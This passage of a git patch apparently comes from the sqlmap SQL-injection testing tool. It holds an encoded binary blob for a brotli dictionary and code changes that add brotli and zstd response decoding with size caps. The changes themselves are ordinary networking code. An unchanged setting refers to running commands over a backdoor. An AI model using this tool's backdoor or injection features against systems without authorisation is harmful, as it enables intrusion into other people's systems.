z6d=wP89pd$|3VAETCElqjvhTazdjhO_grD;p^z0GgteSyu@!qBdR-(PK1CUo*{syn z!XW`{yKnFBnSCj7#R-V>qCpwZugzW(=h$ZRT=7R(RFG46+xGtF?3$rbVkcsj|L%Ta zPy3nO8K#QIGqPSQHeSmu2nJF+Yu-V(CHjurcHK2*G7X->9B~ob9+FD=-~EW942FIJ zbwTv)KA6xIp_i(pH zQd_dxxzi4>Rmxr0rO+J$T4rdwuKX>5^bwnr8Eu zMHBlw_Ej@Jqso?czoVTPk&xiga9k}OX0`Uh!kzb7k7Hb1Y(+d$N~$4D9D7BE9xW2f zo6VntSsM~}3ApWk>yIEUxAtFm?_T~^8~>k4t_PLe6KHVGC8gvkdo8)r&P>g6aAaF5 zDmWYT2}-lVhbEAA+;5pdDfJqnCc(LAeUhCcMUpZvn4Rs%xMxoOLSQAtc8j2_^NER` zN{B<87p}Imlx3N}IHrXww{)9;(H=s(9>9&%gIq~lZgVs9edI&wo3wy^as@iNbSB4k zDzs#q!`87POHu4i>g4vkS-s2NO#tB1n6~F5VKeTFuQME|xU+cyI141L8+AU`{x2ma z?@rOjGNyylG%d_af2@|%Y96g*omSA^DRekfqI0!!ciAXukA(0HhcSY2DPjjV6{d1Qj#r+Je7`A zl?E&a&nD4rd%`c-@z%Hlet)*lqy8hvEfB-n&715SW=F>^cZImV;L_T5i#d#}W};|; z+#f{A2@`0F#DODz9(vykS>&OhitQt z-H}yCxteV$CUOChsMHB?gQCO@h3xC3Ix00ETPODopbpNdG?!I+H8VR}pV#*C6zZv3 z=p3mSgXDMCT;75jhP&oFMax&RmF+Y5d^|G8-Sgr*+H}s$Oy<}lkk$(hxfUo{-0fM7 zyWsVeaI$SlZL$m8cy>JHneuBdCQ z`8^V(6p7aDP-Y9!i1U3fbEn!#TR_M+jn{BvY=24mn7&(_U;cUGycp~mY64|(-y#^z z$e6_I5T??wpS{iHuu2I){2qYwW|MN8Ixh;9D**yeAxlTT0(}=SWgF0hFL(F>VGvv+ zUj0eneq9(Z6lnuTzK@X^ZQqKPXb(ZCFK#Xm1kx9_H$DhL~qE z&2w`6V(2htHdy2^ltoKGKz8OKY@4+J#MEU_hz@U28`9HOeBof`cVtNguQk+a#%;K# zlaJYrLxw*EFtYvkSk$QExw7r5$j&n5>70EQc1Gd3BY}Ao0wxEWm#d__yUrTMP9-ep z`75R_iK}Ulko9^WZWBqXG{8cha+uBhxI?3sED#ydIDf5KT;j09m3tDx_(0}^JJOKT zI4j$0G8?8ZZZWkpNeP2FioUR?GD}ue@h~xKBXI;B)mmQ}^ty|QTTZH)$oCR1lnRxw zr?usEwX`M_@u0M9@wIYT96B`O3L&{_6YDrb?{ix&on?Jb8Vkm&i6*IepW~Vmmq?i5IYawe?v-2ZAvN=FkdG*a0?q zH=>;lt}_~JbrLH$k*^5}ogRpcoho}8X&Od9yYL9| z0qRdLj%sWAxF32cAbm8Cd#F@ceij-KK+04vWLMK(;dOgB>#N|wlh$t7u|yD;LyBp} z-oZ1}7eSK!WkxU+Yc|Xw``R>r3M6JCKQf_KO1$v zjxqM@XXReLPf99-hfacTwLz=Q?ViEsNkJ;ES*o;Wi5G534YcCm?Cj|*x1950l9S#% z3jm}@OaIp%z-bN~m=(#VCJ^|+mEFg#9<1uf5U$GFz@kdoW0oCMDG7`97J2(RW5ExM zoImd<)(-4dB!S>BWB~mcU0pGRL5L;WE(C<7#|QV*GfHS8S1Dy*r89Rf82z}88sO(7 zOVMO;o+$sHFgI$4t*4noo)+dvCs{DmCn2d=&O<)cdd=UXaHU0cv}{txBD>ISjQ>1>V3<_ zpM<vmido%JBZs%abjkrz8 zd`;>Wu33Mws6iuc*K1Tb&xe}hM^X7P*i2O-C~OG-*Q=QPEK7UHJoU~-qu~689o`77 zkbKp-DEGm*IOLl3&|y0<&Jzmbs?jaTlE8gKGXiTs`=okOhxn-Haez_aEW)mD+Oh|B zLCbbgQ%<_I{SvrWGWTvPw)IX;MZX{<$kSS``-v_>ar*@8QUTV;*SmwDtjp}_R0Hc+ zA_uul;;fePf~vQV*do&2rL#Y(O?{skN1V1Kpv!G4iW3^n34ra{Yy0{NVjxJpS}2Z@p>% z`}wK&K7QwiA76d@<7-cT`lru){O$`szx4Lc-+s|P`SWwne|qV;&t7}f*B#T~))Pa) z3_@E4AcEC_$Lo|Tw=I%!ur9T62LT%Jd>lU$OqgXCHI%sijh7_K9Ip==Dbq2!4CSGf z@_~{f%R+&dO4d)H!K~{88DO8dr(PM-9;WKBnc8AvaNf-^jMu0L#xjr@xQ+ya(2VXtaoTt;@U7@~+ZWUCxLD-QD#+b!Rt{H)c-%(U;hdDbh=GSrFPI3*3jWX`dzu*1fU2;{v$(erzec`4%xz2rT70SujB7xg{?2W87{dD)(x{bS=2eFOH! zi|AK-qPLxS@d8;)zirQc(Oz=~&<`&0D(~C(zMXMMUe2EV0{cnKoo_pfD7h!eV*0kX z?oIKqa>VqRt9+(6oJSQi08d69Px3*EE%RNw!*#acs$a*)5zLijmb81@6XNg3*#gYZ z)V2?P+|FC^U~+D~V?R&$thttb7tiuO`8VGK^Cd^|3OHps1Nr3k-S^39dV&3;_KKVJ zea&?nud9hE7Vp0AJhbodIs7wI&+=Y27FTsY&bjy6Im|n223(ExMSji`AH0;Uop;0$ z3og;bqI!w*=v_P?pSE2um(kZY!dzb&2k7ONBh=dR2tR$%TJfxSRDDf};a21OF4q9& z?RRYEzRPuU+$&*ly->%t&%D%1khj;7 zko2qBHP3{6Ic28t`U$>rF4VM7W$igmiT3x}&*R_AZQCH~oz%K@-)mI&J{{M8E>iv%LO~c-hqFYRLt*^Q{>16MQj!=G!6NesO9(c)wj^ z*PZfTd|jkDa6Fz`!tSreyqS{y`8J649 z{sgafCHmymY=1bOJ!7`#_!C8!;=ZXp7pPXB_8Hz6S3950pEN&@$1J_fwoYBO-nC$~UjXpUW zJNYT!qwtmU(Xj9HiPH5i#0q++?FYQ|SiE&6M*MV)0$ZYPY1jMnQ+q`_xUtrJo?rHd zP5XoYsj<-9dz#nhwDDc~LVL#f^QL}2$v?01GiRfb&-yd^XRgKoUCf^G@%Z<7Ug0ud ze=9pHFZg${Z|J;xC5=1TqQQ&(6d97=B%kyniS_x?&9{QF`J;!yF8$F-zJ7&_$Sqg1 zn3PZ6yht|h!~>ofmS4*_mS49kybfM)@M#A#I9{FN5Pww6*tp+EC;VRF0h3jlyw`gD zEZXF3(-)j|9KWB#XZ@PzK03iGsXcFy_d2fmn!R@tjMR3WtNwW~bU(&Vf#3S^;3y}H z^vj8x{EeGG=2L)c{B(BTC&PwVwZ$YOrR`|UA4+ISscl_h= zdKy#kdtbxci?N7jy!k3xqkgcfI^($Y*JETZ4|eYu7tFjjeEz&{zdgY#WBy;azrd4z znJtL9ahiM6M6_1x;p%wPBaZVqHaN%RH%qr5G27gBMrH+^2Y3)XXWQ~A z1)X&#iM$7wCM(dlA*nlW|8#;#bf{E&&?h1sb}#Zfs~cm`o~YQuGr#+p{EN&CgX|H8 z-5NsH+7lWX2IBK;0YYb`z+D;Ywb)b^s_a+xD8#uZU~mYGJK;|jOhKNcBM@1Kp=XII z?e8G6nV8NFkGGH>EDl1GD~A>rt*&WrGIt*X-VT%9I=0w0yruf9tLDyp?#zz{_aG~K z(7J54MIez`poP~tO|l35@5(?Va~{c7(Imzp(S18cc?~Qa;0bTYLIUOIdr@DAC|XWEh~7!)7YN`C#Xf z&S2I!QbC7p?%o9!JHSnIyh%$a!!k!)h&7#n`6Om|Yfg~SaD_RzL6P>v*6UCThYcsH zYvHgdTAhStXLFeKkqiohtQXT4HZ@f2&?MsF#6@SXd=Y6yvht!lF;AKzpR&yyHL6Bi z+Wq~V#Ud+QcwpSLMJHZd;zVp?rT~=IbLgH>9Vm8eK?1@VYYWJFwD<;7K#`7|$phR) zjv5Z0flAyJfnl<~c7+0o+LtZXO3VVzN9|lyp3<=CGE~}u1nWc2OQ+8yF2OM(8GrfG zf}|B<>&&Y(ob4xIkSx+#vDx(?8Iy*t&RV3(cibl{z3xp~S!P=c%)N*UWH<#DTFj86 zATCX`cfE`G^4O3<>=2w+gZZZh--&H!Binh6nxcco;NvE@AJJN{!v0w44pdZ ziVP#%DOx^@<*7t!0uDLUG$Xp6yYTb|F$OvJ$+ydr_q z!q8`RFFR)r1tA9E>4ZEMoG(?51D$taV@Uw}`l+K6ogovm)A8QSN++TK>`{Rv6@)Lb zsN%z!z!&RW?$yDUYq%peRg;Vwp|yPvdk92xnU& z&?#b>iQ6mzYiuGM$anu1v}Y~Ykr&QpEPuU8UP;=-ImtbQcx110?G~BdPSNVfIOk;| z^(ouhH&W^lPQxBe8(l!JWnN6z5?FIYRELwnPQ|uT0EBmwJ~Sa&i$no$jU9L+VhpmutM%h-tJ{S!K4;F#(3GOJ)ovdJ}H(ByMl|O5Tjg#!Rz2@jP4^m`NS< zSF?EuXog1X6dAcE0O3vDB<89_=j>3FC>d{pev|+>l~=XYLo68L?8(bEo7NKI1%1Me z%_zYkaRjSS%nZF26PIBFNjy&aGPhV9*|LR5ios3veyL?NYiiqQ=S(&&ZTOnS% z+K#*w5$9>biebO*)n2rEcLuaC4&=)@k?iARPMe{VDO2PsN>&zCspKo>HSxE>I|Fk+ zNCZSa>xRI}QMwnMBOK=XaEWzQO{wM5axUTs$id=(u}03Z=~DuuKT$?Md% zYp_23{}kKL3BpEnBt#!NvDjV>6CWvwg#bG`Geeu!3EV?LI5EXalG57b6yI|av;w1rV`aGtSZ&ljE16w?k4@ueM)+I7pESXeV*^*(yjEGpk#K|O6 zg-_1l(0DirOlJLV$d8a024!r1wAKBraA;v!aI7d-&dD1xdiF-ALePD=->zLOkDhIM zu^z;{xz)7n^j^ZG;m7`*Xw!T3wyLCj_J#sTZ*tcl!wP>TxBW9>JJK4p2byr4zSyId z+5v$9>2_lHFpHL3YO5Nk+7JqJ9wp#w=?u%Cqwh9q1pgDs&?H=6deX3x)2`-xpyHIt zOIb=6u6l?ocpkZteQY#C;~m}tq?NH|$?MdpOF zOoLSfX47W8DseO^a;t{!ONxH=24(l4S&(K8le@i*GmFAYJ(bt6lsyq$dL@bomvG1s z<(W#Zpl+Udl*vlPcro4^sv-fwCwI$TRkuAPNQD)E)Z}!L!??%__|a$gM}ZDQK<=Y- zp#)!`j^`*aZL;|Sa~U-@4x&$B(b6`O1Y2LsYBHAcx`#=oW`)Co2->67&@9TF9J2gs zaCcxMNZTMPx`UjVtxoU2vLli^{2}Yyx)%;Fci4X4UPQSC{K??0$sfB}_RtUGsKIad6?@OEkgC=tkY*zw5*Jg0xIrX5Xf6hPCr?C)*MGO5_DQ;95H`QWZz1Z%^HgOg+ zWr}_BT!Vo%@ws{KF*~Tg9_-bERG%b9LM?z?lhc*xTlc+sdxA z={>ksZ=ytnISMm5Lb2UBBr<;@5-Rc$_Bl4&{g|8)#8$y_ZbT#!E2r&VL!E>7cXIL- zK9=~X-(e{a&MohUZ}{84d*HXfaF_jWX(}}mKW%cDcd{^*2Kv^nd|A#n88y)CfvKL@ zU-ZqZI4~TR6BHRt#d@YroW-vK8$23QE@Lv+SPcNV1M? zt?)b>J?{@)Oa&`MClS2-8P_~{NfU8NcQQW}$1V=$DZEA_6^)4+NkxHn@6P-Fevmp9 zQo-!)B=4SQ09rcP$nVH1l=0*l#nwRae-v z=eIjk+i9VCsDtKg4gg|j^gM!-Yq>F6Ol4U1j`DB_)OD?)DVmKrl2lx_ID0mI_RK%f zWJ@O#dZl_7x3|cQv)b-X?OU@)=QI7WS()skF8&!Vr??fSQh6xP<<1pTQImrYRd)7- z)|{u#{{SLRgUvSU1RDj(KbjAuuoxwhCDpKVC|XL@ivKnq$(7&vl!6 z;x^|WvK?q<2`s|4fRewuJark@O>~E5b}B`_V`>Xqp2{e-)s<*#rr3w0J}*yR7O`{0 zhCDXsd(Ub)Tp>l3Z7bbsX37hW=VYc}_rg@bIMcP05M;I!Elnk4!%>ua%8~lNUw_|j z{fG5`fBW%~!at20$-eL?QMvE)d!|wgQ)!$f8jQ|PRCOb_59^~-OdU=$Q_gNtt(xWA z)TO9_Wz9yUs%5)Ce=be=Gh}KZuWT4(GQklUt?8GBB<57Kp>Y4+6WNL>$L{8_bRU(@ zl;b)Tek)u8%tyLu-$-QDyRnG_dx42qL~g+y2;W}B6PO&0;gN5ymrY} zJ6QXJQR|ptqPCTuu&B-J1G9;P2BfGNY4X<0#H>r4_rx2t85=Y-Bf4{+tQCAekf)xC zOy|ek*>sZ7|67_mnu{rOMtXA59{LW6?tnX{mwVSTd{a`p-BHMV5`KW{(ivRItLFJ(*(Tmc#AscG4vh#mkuAOT1ux7!I> zXWZ>JjasfUT5MB0dnVm?>)BBkQxj&&E(bKqiK5X$^7d1T5_2%pz+!tERy>D&A7Kxs z9QhwYFD|*|Qg@7g1B(hLE~BRWUh-r!QoOxe$1)xbj}|(gH^Kv=nDBMGWBLK}I4L$r z+lzW0>G2?++`%Tq6I5e6<>;jVv4VCP&!@A1Wc9Sp&E(O(6onDjOCHXhYUXHm3W+D! z3d?O#XWK^DBysAj-dI)S*hoQ~eDyU|r2f<|dowmc&-0|d_R4V&8#rygyZxE&p!a;6 zmz|kPX=bv7F5tn89aArD9WC}U55c6obt23s3Ph=4&&BwXMxbclN~TB!zNJ=|i9#d@ zBSG61E8y!ePg|f%xmAzKShqW8GQ3ga%#=x@glLYj(xk`kz2|N_eZEqWqJ(+K1XF9U zqjf{Oot9PVn-(~O5}Qb^kwj z(_Xs(`z4(#vs24|3b5Bq%hgKQI>auNRf`>ZVL6{@#S}!6>u5X#=rgo65^v6;Tb^rc zYu}ogpPAk$T0t2`FO&8xQdCnDn~9gSFVTWX0Xz2;!y{^S#qBCnsRE|BTkP&sQ&uwV zM(YvT_ToRWLvIktLkZsGF7#AHZMUnBwR=J289W2$1YVe^;R%5c{{OG}gM}T3YDzfV`yB;hxIn=;@I~rRJ67aT2_f zyJFT(TQhCQ-Df0HD2{YE>f#DA_+6RA_n!8e5Mk>~;Vm-d+5(3y_pFH6yY%7yPJhrT zB=i>2%ZColnf+_+q9c#Cv{JwkhOLK?Z)%gL9I+g&C@^dCH%kT?0-<63lBvZe61QOP za_R2i7HX4RIh&px?Vj?kn^up>b6{oCVIUef(ZUP{E%HO8sXN zFT=y+f_U@8M{u{6YCE3U!0{>!TBG ztya{4`TfqbV(cwllRbIH{=MdvTu-42&hMvsv~zZqYxZ5$us!NEVrPOi$NTe%te)*< z)FHNa&!55WbO!Zn>AmZ!2ZSh^*@FVq3>T9SrcRNzSCRzbaJO@17YhG(t1-N z-5G*NRv}EgN~mq5p5W&Lx~TYJN>=8HnEBu2HJyc9nab(3&$~JpJXqfnL0tG2`sy39o%iio z%r!(n2kJWJeyRECWCxDf%sZMwea+0|$zwY^m!?N0OTXdDohfWVr>)y?R_Y=bVeuqt z%qw|pDJMHkqT0k!mlheD|^3kMe&8b2v)USiQ9GBjoX?SNwe|WRO{p*s*W|#)2 zr2C#Zk$V%o14XdpGUSwpA&cC%vk}b^RE)#)dgWHy zC|MKPMqiV5rQVh3j3Z`OCYg@B(5Wk& z@X0UC!ersfW^tyk_9eAwPl&-=p5B6TkRwB(gRT3AgROGC47Oy~V9sh#BKn$@ePDu! zR?b}c^*$h>RUh%6!-$vKGq!nW-RKbWQfXA$t%_S=Rv5c&b5?%rcCb!P<5`>wG{yU; zYN)N<)94<>a}%5{FLntucAEvC+C+EGn1i27S*5wEO@=uU$4g?BX@d_2 zj2!1PzNw4B|MP8Uh5=p4>7W(5m~m2_4vLTGT3#1?_@XmboqFDBOq}88hryBZKFL7N zIc<)=d&OCpob@GdRbrL-eh@1qQjy@=!hPfO&Y@&YeUe`}A1pNQ2eHhxj9bRq{0KNk z@Rc9&%0DLU$*GKW>V=@ndCsrwmwGWcbHv2*e0JHNk{RadU{g6A%}D$(VnBK|-aR`- zI^@hJ!Tghm!qT94Po8pGC#U3km~Wj8%9q#U>nDQa<<*P>Cn%wCqd$*U>AvE4c`F+K zLeP{w8N5cP_?Bp|PVkOT@XBHg`*sjIoe2`Hm-+jTgO4bue-T^JPlEyG8TO2>{CwQ^ zB4!1fgV)QiEN-8R@!^=U-jj(mEV>RKd(OXtw?x?# zTweI|^|;Xsu{D83YS=WtlWT139!+O?_;SwWK1v{Arq!nn?wO@qU>LR{O8Ylv){X*ci-oh=O-wfawx!zc!bqVd+ zZkO=6d+2*q!-OAJL2S|7G5`y=#0s1P*(}p$VprJgOq-BGHM?$c)|b-#J;S(oO9u$2(3+~m>g45_#Wdn6bAD8p zndxxB3JO;s|H8Q z$L+*@j?_p7g!V<3Xoq*PcDTK6aaVSVHhaMVcsi zQG6)#qe(hK=RecdgBI&5X7H-q@XoZuzxys0&@#hZHiQ1$Ez4m?bNl2-xsHtgY_sc+ z_WajdOxvaTTV7~qf&yf>v01m>=6=I%S$>Qi=s}?r1Z?qrj%(kd?@<&>`sEfMWaQzD zG=Eoa*0(}>u2x&?Ap(+|LpAl*WT6sMtNQN6v*4uw6slI+NSN3 zA=Gx`nK2s-h1wS9%~z+{jgF`6l2dkulMELbI@^r6}2YiJ*@Yjgzm^|$8?=LA*fu4Ng`winA!uk6le@kcoiWq{CPk5DL0>7px z!ZLl!5esHiCeCO2H$2{Y;Dt|FIB-|iFHjr}E z_=e}1%@&?t-f#UCdB0VPmk?7noUt6X2OYgi&&uty97RW#ym#Ml;t4OA@oQf|Pq+A$ zjmIBuLS_{=Rti{FhIhI?j`5a0iEUU(A6zMnuxrwHWCsoxE zLm^tG1B)wh{g}C*vK}@L#dsoBZKV)O{$`H>fnNAm2Eh|nXGT10;>p$BXfaZ69y{j{ z`g0f(ZF+@IRp&c1G=*t0Yjw}$X)Gz(1&vq^m>aeh0#6I(Dp$kED6Tr{bCxCy%oc>i zyHliNidr7W{cD{_ta`Lx6xADYCBYGe*!mD%>fwNryP($0XmLLl%^OOdZMIKQzUvV6 zi;aSK7lxedlh|qJ4~vap{^19@Mrzf-Lc^+05jGjiprLou#{R32K$2X&2T|QB;#ble$+9rxM0z$r&v|K znVe{~5n0nkD#6HfWUSFd&y5(zhonxpBgZ=A!b20&Vv$2bwd->sYx2 z+1*aSgTS}V5}H`pYE$*;rsxl!$pZ(!zy+YBf|k}$O4K+w((Mok>+j%?nWLC7Y>99b zFiWT$Vn-sxi=hHzSQMdCY&BJ3cGK91ZaKVvTzzT^!BlXFx9*+lBcEbg(bP289#U2c zZ7lLWreP`+B7@jM^=?d}keJ1^JWQ2nO{4+y7x_#D?9IiS>Qfz=$6IwGZ;j1@0^-LK zTj&|a%ur%ALO=_Jclmw`wnCW5o4i1g%+%*Vh%WRnG#LlRm|@ix@P|=*bQlhYMUu#Q zj%A&=6NRW!i75<}DcnMo!L*wosF)T*YNegF%Zednuuc9}hvs3hh#lF9WV!m<=Pj(i zsCX1+58zxIcTrmcoARNj36t0AxwHaXh*v7tn+#fXNh=ks;D~kCnqg3Cf2^c~ z6L3|Wz@kWqd)A@do9mRo=Iy$|j0b0>93CRIuqt6gKfud%Tb)Lj$dGUYg&Qm3$CJ2S z`%FMesN`6Vc@mdhDoofl`Xk`4BLpsu9`=`0QwN-z7`Jd6llsvVi4$N?7As-rw=q4;D07w-Aq} zlQ1*)3mJnf%{Gv=o|ro)$&5UY&eRHz#UwV=ikTgy;Wd-n<6}KhX?H*`OZH^L3{W1B zJ`+%_0%EgkpD|<{S|`!xVU1*rKpQA$yjwtSNXKIiMZIx`NESF7Eer+WI_&HVXR0Pa zK!x|ZL^;MKRB6XvedOTbvGIRA@^qqIVM%-VXR#Lhq=F76uS$sb!<&s}3=PE7DcR<1 z8?#CyNTauLoU~1F9g(Xv>K*F` z+Js?dqcTVNyc1p2xOCWLPlyVYkt(sZK)rckGu$|VE|{WdFiwPMQO*&xM`6F$li0^J zo_XfXzNY8##psA?b~{}m@qvZ7J)07NM38(*-WOY)jdy!6)Hp@hao>y`+Ar>=XJD)x z?Q~8!Y=CFVnBkFAcd=W|yY@<%(q5a>CVQWlwt8*!pG|PZSPp)}o2dI}Nc%!+3mdFD zYk^b{|A%`$Q#G=dQIY#+k|@+}$W9#HCvIS7yWS)i>&)5}5YcIW`iS(1xJiI9?}AjT>X+_X-@sVC1JlK;&3Y z4JRx!-N1E8(YnC=F(xKehH}bh6r_Z6w;n{#BiT@zi|uHE6V6aoS|gjOq*js;%!ZggO-zewVkzPz zO^aMI%&j&&l0?C%ke`IcA+4~q*Q=Z^p-0%_v0o2lor>OnRP^E#h>! z^^5hN-TD(^m#JPD*C~rXd7G<%5t94@`gf(W+l{CSn^v_GA7}W<`m5qq{Xiz2E-NBK`w*N^L(@!b*k zeM8pfDYuGM{wUshNdW^(8j!t65!JI4o4!WTUXCw20E4MJCMBHC>nXq0 zaP4&suV2z=HHUQHG_|gNYmfjO@3s}V6di$|>sc6gevN*AT~HiSONbE{ubJTQITLnY zpl3L1s{hty3dL2ioANSTMD7ATuz z(PcGgH6uLcI{f?lpgNELMC&xg@uA;Ip2$UtQ2l|TRD5O3X<49(Me;maAB8gHiy*lc_+RX9lNZ*nGL17VCHt0JKd?uuDyHrR!$R%5AG3Srx0y>@!OHa zg#t2O7-elT^*M^j-lDAEqs7kTWYJRE360+fmfOHky@LM1V#zp^k{wZg2%3R5WF;{i zXJzdu<`wXflWjo{`KVCM#A7Ozr=Ke(_J(svTGD7f|ARwgm|{9Z){@-tI9T0$iG6Y4 znQDwjF_m<}d36%!kF#`Ea@!kjshcmFd}JtS52ACs&Da=Mj<<=Hxuj;CrUIVPLJH0#|Q12r~% zv{g43Yo3MyDWoWpoHCnobpq3F;s^|)zv!+Bop$xfNi4e1GcQEgb7^ClR^EAM7~(Q6 zaCNNUafk2{GYt!Ml$qwEaBjD4O9sf~KCH3Jx#m%L=O!_W)G^rD?fIldUhU8aAyd5Ub!G75H7qdUu6sJ1ror(I%x)vnyENIqo z8w@#2P2nLoIoqXiYV??IFRo&M`5ju$!mCnrft`Uim_hPJ!DV~npwm}R7-33{20v%OeC9@&F1lLiJ+X^*$2;kP8~f++^eidYujLh?3Gl#okR z>D)UQ(}<{Qb#{q9*W>z48-%H|f;V<>923RMF`2|eZ}n484J3PKp=J$D5v;5?H%=VG zbzH8`$j}>esgcwJw%(m8o&bC+Hww8sB&jFDISXyYRJT4&_!ozOumz43yyULu(H22s ztsa-NVrQ4ne=1gU3>vc>IU6;IU&zti%27`}S*zlU+99lra&`ogQ5R)m$9QYX&rPzC zu7z0H$N15{u-`6l(>13#8oy-#w)y9>h-I}E49SZ6oDi|fJ!V=FxiN~>d z&}f}(GqI>+ut`0ykAGhp7!m$0$!P-#UZ-l~P<%1RdeEw* zBSISFCbA=?Y}uW}c&B5!8gLtAzlShw4(4IbBpsayF2J!C_DW0f+F}xO`a% zhoBKjWq~}t(p0A+du6VbB9@M#=`;;BJsI^&bn`IrlIJDY4{K6PvDM)BlNZ82T-4D; z)yx8c9nzVGk!uXEpj@K#z+{eoAv~s(g%W%ak?GG)&Hi~YO$Io&K0By?1B;IaL!8<1^7tgDR4cFg7_H1Dsu*D^Z~hbvgZm` zKK|?tj-tSI5yQUXF!~%1S$3>E+3UT+&x=p&xpv_G%nr0fpAjF9@|%#)?_H|AenI?e ze-KaMyups28G)#%08oZ z(4vYwS?nE3^X#l*-eO=d;$9^=YouVz5t?rC^sD9>Df(q#;rOf&WdZ|>D`PX_g%ji; zZ%v#CR=EMSY>i?2&xSBmEuCU=giQDT)b6X2B+np^4Q;aKGs`rmqy$SB{}bzWb7b^$ z2l9U6bo?<)<&var74mFcCatN3*0Q zJj-JmrRh+WevM{<$@;s z+Q7}(OltOJ$uO0mn2l#eY1(gVGVdixT9-Cip#0f2{c2GIWS8~GH4XW_ZcgX+IY-ZI zKU~!8-7pJYo_5JZA>TF;BG>PH)?0ewRc%$c`b&P zVhaMvR?KZQ|ArJ+yuZv_^^3Jw2l8~u@ynl{ZkuDhGK=V?RC^ju8nc^$RUpTP%CmyP9&o<~BP{Kk2O^_1ZOyzeM#JZ9^p+)M$6J#Vb`RFYF$xR1S_GOkR9;{QKWa zc9n;daMPt8nP|f!R9W!2!qY@sH_VZMhAITBr=H?H8GjFr{twdVdF_}Un9AG#B~fF^ zj+XAyAN6K`)(1rZqVNjRuSxEbHQN7JP6Vo&yJQwH&@+_ukhv3IeTYJDChNE(*I>~`980qan z!?n0Vyp4?Ixki{Ew2}Yl@jC(U9nsTlHpW+o>WqwFR_;BuNs6CS- z&mZ{Sp|PYm(<_ZfLS)a-nevjT5ft}g-Dr;g;gfppa`+RjU4u7)l+*RrY7c{2r z_z&ceN{)pLvvI^`K$@k6Tt&U-V3L(NZ{+~NUvu@xO#OJ89kXyHx1Aj<6CPd$Z`OvT z6KD))*P5)?k-pCJbiwY{tP0ksuja27S+5m6lvzV8h>Ayx9VawQo+uCRO2)(0-vt~uxMy{P?kOhuD_G9UQ`mDfw+(v({Yn11 zut9qj8~H{|ipb!04jdx;{yaCT`Q{16lXJhIxm3=!bY?Eg%#X|nw>WOlg@p~8vzn); z@x3-^wi=-`Uo{#^v=?JAHFsWi{T}(aA}C6ihmPn=(v@q3Xmr<6tl5g1tIk@#tZ1(* z23EEbV%%OftT1fdzhi()4w1KJ2!7V&nmOh?Z(J@D#T4VVmK3Y?dfq-`G297VQj({e zg#20wt$V?a-SeqUo44G1-~A6fSon0`*3W!)+vh(2g@?ZQr7v&)%2&Vk@Ylcb&E%2d zjz@QXtAAkd+m8*E%9Y_=kMDlsJ5PRh&)$6_)zR8h|L@QLo80p$kWC<)LAHS03vwUG z{U8s3JP1+%`7}r$$X1ZgfP5BY8_4HCJ`eH*kcU9N2=XP6FN16c`3lHaLB0m^Fv!;`!PKq zwhzFE!_eURfB18IAAH@n2O3=e4}aqKF!=87zfGI(?!Uikav0gtyp?%9gv7dq1Jv7s~zr15ir=0u%!j z000080QUs>T%y;mX{+P_0HEgq02KfL00000000000Du7i0001Da&L5OX)R=FV{~b6 hZeenHE@EkJP)h{{000000RRC2LjV8(-sAuP007(HMQ8v3 literal 0 HcmV?d00001 diff --git a/lib/core/common.py b/lib/core/common.py index 9220dcb9d81..ab5edf895df 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1594,6 +1594,7 @@ def setPaths(rootPath): paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt") paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt") paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.tx_") + paths.BROTLI_DICTIONARY = os.path.join(paths.SQLMAP_TXT_PATH, "brotli-dictionary.tx_") paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml") paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml") paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml") diff --git a/lib/core/settings.py b/lib/core/settings.py index 34d2b93d5d2..3cde0d5cad0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.183" +VERSION = "1.10.7.186" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -250,8 +250,16 @@ # Default value for HTTP Accept header HTTP_ACCEPT_HEADER_VALUE = "*/*" -# Default value for HTTP Accept-Encoding header -HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip,deflate" +# Whether the interpreter can decode Zstandard responses (stdlib 'compression.zstd', Python 3.14+ / PEP 784) +try: + import compression.zstd as _zstdModule +except ImportError: + _zstdModule = None +HTTP_ZSTD_AVAILABLE = _zstdModule is not None + +# Default value for HTTP Accept-Encoding header (browser-realistic; 'br' via the in-tree decoder, 'zstd' +# only when the stdlib provides it - never advertise a content-coding we cannot decode) +HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip, deflate, br%s" % (", zstd" if HTTP_ZSTD_AVAILABLE else "") # Default timeout for running commands over backdoor BACKDOOR_RUN_CMD_TIMEOUT = 5 diff --git a/lib/request/basic.py b/lib/request/basic.py index f3541b60c70..8ed3c06ded4 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -12,6 +12,13 @@ import re import zlib +from lib.utils import brotli as _brotli + +try: + from compression import zstd as _zstd # Python 3.14+ stdlib (PEP 784); no third-party dependency +except ImportError: + _zstd = None + from lib.core.common import Backend from lib.core.common import extractErrorMessage from lib.core.common import extractRegexResult @@ -297,7 +304,7 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True): contentEncoding = getText(contentEncoding).lower() if contentEncoding else "" contentType = getText(contentType).lower() if contentType else "" - if contentEncoding in ("gzip", "x-gzip", "deflate"): + if contentEncoding in ("gzip", "x-gzip", "deflate", "br", "zstd"): if not kb.pageCompress: return None @@ -313,6 +320,14 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True): page += obj.flush() if len(page) > MAX_CONNECTION_TOTAL_SIZE: raise Exception("size too large") + elif contentEncoding == "br": + page = _brotli.decompress(page, MAX_CONNECTION_TOTAL_SIZE) # in-tree RFC 7932 decoder (bomb-capped) + elif contentEncoding == "zstd": + if _zstd is None: + raise Exception("no Zstandard decoder available") + page = _zstd.decompress(page) + if len(page) > MAX_CONNECTION_TOTAL_SIZE: + raise Exception("size too large") else: data = gzip.GzipFile("", "rb", 9, io.BytesIO(page)) page = data.read(MAX_CONNECTION_TOTAL_SIZE + 1) diff 